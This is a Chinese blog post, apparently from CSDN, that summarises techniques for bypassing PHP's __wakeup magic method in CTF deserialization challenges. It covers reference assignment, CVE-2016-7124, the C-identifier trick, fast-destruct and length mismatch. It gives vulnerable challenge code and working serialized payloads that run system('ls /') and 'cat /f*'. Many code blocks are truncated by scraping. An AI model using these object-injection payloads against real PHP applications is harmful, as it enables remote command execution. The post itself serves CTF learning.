• 反序列化中_wakeup的绕过



    前言

    反序列化中_wakeup扮演着非常重要的角色,ctf碰到很多的题目都有涉及到_wakeup绕过,写下这篇博客来总结下大部分绕过方法,其中会有例题具体演示。

    绕过方法

    变量引用

    两个变量同时指向同一个内存地址

    例题:[UUCTF 2022 新生赛]ez_unser
    源代码

    a=1;
            $this->b=2;
            $this->c=3;
        }
        public function __wakeup(){
            $this->a='';
        }
        public function __destruct(){
            $this->b=$this->c;
            eval($this->a);
        }
    }
    $a=$_GET['a'];
    if(!preg_match('/test":3/i',$a)){
        die("你输入的不正确!!!搞什么!!");
    }
    $bbb=unserialize($_GET['a']);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26

    分析一下,有eval函数可以命令执行,但是__wakeup()会让a的值为空。
    同时正则匹配不让我们修改属性个数绕过__wakeup(),这就是个难题

    可利用点为$this->b=$this->c;,所以我们可以引用赋值绕过__wakeup()
    payload

    c="system('ls /');";
    $t->b=&$t->a;
    echo serialize($t);
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    注:$t->b=&$t->a;意味着它们引用相同的内存地址,它们指向相同的值

    属性个数不匹配(cve-2016-7124)

    影响范围:

    • PHP5 < 5.6.25

    • PHP7 < 7.0.10

    正常来说在反序列化过程中,会先调用wakeup()方法再进行unserilize(),但如果序列化字符串中表示对象属性个数的值大于真实的属性个数时,wakeup()的执行会被跳过。

    例题:攻防世界 unserialize3
    源代码

    class xctf{
    public $flag = '111';
    public function __wakeup(){
    exit('bad requests');
    }
    ?code=
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    分析一下,如果我们反序列化的话就会调用__wakeup()
    然后就触发exit('bad requests');,我们只需要属性个数加一即可绕过
    payload

    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13

    C绕过

    O标识符代表对象类型,而C标识符代表类名类型。如果将O替换为C,则在反序列化时会将其解释为一个新的类名字符串,从而创建一个新的类而不是对象。因为这个新的类没有被序列化过,所以它没有任何属性或方法。这样一来,在反序列化时,__wakeup魔术方法就不会被自动调用。

    常规绕过

    O:4:“User”:2:{s:3:“age”;i:20;s:4:“name”;s:4:“daye”;}
    变成下面
    C:4:“User”:2:{}
    
    • 1
    • 2
    • 3

    C进阶绕过
    例题:愚人杯3rd [easy_php]

     ctfshow);
        }
    }
    $data = $_GET['1+1>2'];
    
    if(!preg_match("/^[Oa]:[\d]+/i", $data)){
        unserialize($data);
    }
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18

    分析一下,核心是绕过_wakeup

    ctfshow);
        }
    
    } 
    $a=new ctfshow();
    echo serialize($a);
    //O:7:"ctfshow":0:{}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    我们直接改成C试试,发现根本没有命令执行的步骤
    payload

     a=new ctfshow;
    echo serialize($A);
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    然后再编码一下,就可以得到flag
    在这里插入图片描述或者是用SplStack()也行

     push($a);
    echo serialize($A);
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    fast-destruct

    本质上就是利用GC回收机制。
    给个exp [NewStarCTF 2023 week4] More Fast

    errMsg=$b;
    $b->obj=$c;
    $c->func=$d;
    $d->obj=$e;
    $e->func='system';
    $e->var="cat /f*";
    $A=array($a,NULL);
    echo serialize($A);
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39

    关键就是最后的步骤才能生成下面正常payload

    方法有两种,删除末尾的花括号、数组对象占用指针(改数字)

    //正常payload:
    a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:1;N;}
    
    //删除末尾花括号payload:
    a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:1;N;
    
    //数组对象占用指针payload(加粗部分数组下标和前面重复都是0,导致指针出问题)
    a:2:{i:0;O:5:"Start":1:{s:6:"errMsg";O:6:"Crypto":1:{s:3:"obj";O:7:"Reverse":1:{s:4:"func";O:3:"Pwn":1:{s:3:"obj";O:3:"Web":2:{s:4:"func";s:6:"system";s:3:"var";s:7:"cat /f*";}}}}}i:0;N;}
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9

    其余GC回收机制

    属性值的长度不匹配

    具体形式

    //正常payload
    O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:4:“Aend”;s:1:“1”;}
    //外部类属性值长度异常payload:
    //先外类__destruct()后内类__wakeup()
    O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:4:“Aend”;s:2:“1”;}
    O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:4:“Aend”;s:1:“12”;}
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
  • 相关阅读:
    R包学习——reshape包中melt、cast、merge函数用法
    Centos Web Proxy(nginx)配置
    冷门黑科技软件推荐
    Intel带你初识视觉识别--OpenVINO
    Electron打包Vue踩坑记录
    【web开发】2、css基础
    JAVA图书管理练习
    每日一练:质因数分解
    【最详细】最新最全Redis面试大全(70道)
    spring-cloud-alibaba-Nacos2.0.3:注册中心和配置中心框架学习
  • 原文地址:https://blog.csdn.net/m0_73512445/article/details/132513838